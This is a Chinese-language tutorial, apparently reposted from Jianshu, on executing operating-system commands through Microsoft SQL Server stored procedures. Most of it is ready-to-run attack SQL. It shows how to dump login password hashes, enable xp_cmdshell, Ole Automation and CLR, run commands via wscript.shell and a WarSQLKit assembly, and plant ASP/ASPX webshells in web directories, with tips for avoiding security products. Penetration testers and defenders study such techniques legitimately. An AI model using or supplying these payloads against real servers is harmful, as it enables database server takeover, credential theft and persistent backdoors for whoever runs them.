MSSQL存儲過程命令執行
轉載自簡書
基本概念
MSSQL
MSSQL指微軟的SQLServer數據庫服務器,它是一個數據庫平台,提供數據庫的從服務器到終端的完整的解決方案。
組件
組件是對數據和方法的簡單封裝,可以理解為對象。有着自己的屬性和方法。屬性是組件數據的簡單訪問者,而方法就是組件的一些簡單功能。
OLE
OLE是一種面向對象的技術,利用這種技術可重復使用COM組件。
基本查詢命令
#查詢版本信息
select @@version
#查看是否是管理員
select is_srvrolemember('sysadmin')
#查看主機名
select host_name();
#查看服務器名
select @@servername;
#查看用戶hash
select name,sys.fn_varbintohexstr(password_hash) from sys.sql_logins
#查看sql server 認證方式
select SERVERPROPERTY('IsIntegratedSecurityOnly')
#查看目錄結構
#depth設置為1,表示顯示所以子目錄,file設置為1,表示顯示子目錄的文件
execute master..xp_dirtree 'e:\',1,1 列出e盤目錄、文件
#判斷文件是否存在
exec master.sys.xp_fileexist 'e:\web\tmp.asp'
#判斷站庫分離
select host_name(); #查詢客戶端主機名
select @@servername; #查詢服務端主機名
#查詢文件內容
create table files(line varchar(1024))
bulk insert files from 'e:\1.txt'
select * from files
存儲過程
存儲過程是一組為了完成某個特定功能的SQL語句。一次編譯永久生效。然后用戶通過指定存儲過程的名字以及參數來執行。
而存儲過程分為:
- 系統存儲過程
- 本地存儲過程
- 擴展存儲過程
- 遠程存儲過程
- 臨時存儲過程
系統存儲過程
以sp_開頭,進行系統的設定。如:sp_oacreate、sp_oamethod
查看微軟官方文檔為:
sp_oacreate是創建 OLE 對象的實例。
sp_oamethod是調用一個 OLE 對象的方法。
sp_oacreate 執行命令
啟用SP_OACREATE
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
執行系統命令
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami > c:\\1.txt'
Shell.Application //執行命令
declare @o int
exec sp_oacreate 'Shell.Application', @o out
exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c whoami >e:\test.txt','c:\windows\system32','','1';
需要注意的是該存儲過程執行命令無回顯,所以將命令執行的結果輸出到文件里。
兩個語句中分別使用了wscript.shell、Shell.Application兩個對象,而一些防護產品對該對象比較敏感。
所以有了第二種方法:
同樣也是利用sp_oacreate,但使用的是scripting.filesystemobject對象,該對象用來操作一些文件。
在知道web絕對路徑的情況下,可利用該對象寫入webshell。也是解決不出網的一張方式。
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'e:\web\tmp.asp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'<%execute(request("x"))%>'
本地存儲過程
本地存儲過程指用戶創建的自定義存儲過程。如:CLR
CLR,公共語言基礎結構(Common Language Infrastructure),用來支持不同編程語言。sql server集成了該組件,可以通過sql server編寫CLR來執行系統命令。
CLR執行系統命令
- 啟用CLR
sp_configure 'clr enabled', 1
GO
RECONFIGURE
GO
- 將數據庫標記為安全
ALTER DATABASE master SET TRUSTWORTHY ON;
- 利用SQL語句導入程序集
CREATE ASSEMBLY [Database1]
AUTHORIZATION [dbo]
FROM 0x4D5A9.............
WITH PERMISSION_SET = UNSAFE;
GO
- 創建存儲過程
CREATE PROCEDURE [dbo].[ExecCommand]
@cmd NVARCHAR (MAX)
AS EXTERNAL NAME [Database1].[StoredProcedures].[ExecCommand]
go
- 執行系統命令
exec dbo.ExecCommand "whoami"
WarSQLKit 工具
在看CLR編寫的過程中,順便看到有前輩開發了針對mssql CLR進行利用的滲透工具。
也就是WarSQLKit。github可下載源碼。
- 啟用CLR
sp_configure 'clr enabled', 1
GO
RECONFIGURE
GO
- 將數據庫標記為安全
ALTER DATABASE master SET TRUSTWORTHY ON;
- 利用SQL語句導入程序集
CREATE ASSEMBLY [WarSQLKit]
AUTHORIZATION [dbo]
FROM 0x4D5A900003000000.......
WITH PERMISSION_SET = UNSAFE;
GO
注:這里說一下該十六進制非常長,在WarSQLKit.dacpac文件內
解壓該文件,源碼存放在model.xml文件中
- 創建存儲過程
CREATE PROCEDURE sp_cmdExec
@Command [nvarchar](4000)
WITH EXECUTE AS CALLER
AS
EXTERNAL NAME WarSQLKit.StoredProcedures.CmdExec
GO
- 執行系統命令
EXEC sp_cmdExec 'whoami';
擴展存儲過程
以xp_開頭,使用外部程序語言編寫的存儲過程。如:xp_cmdshell
xp_cmdshell 執行命令
sql server 2005版本以后默認關閉,需要開啟后使用
- 啟用xp_cmdshell
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
- 執行系統命令
exec master..xp_cmdshell 'whoami'
也可以寫入webshell
exec master..xp_cmdshell 'echo ^<%eval request("x")%^> >e:\shell.aspx'
補充:
實戰中如果出現調用CreateProcess失敗,一般為攔截了xp_cmdshell的調用。
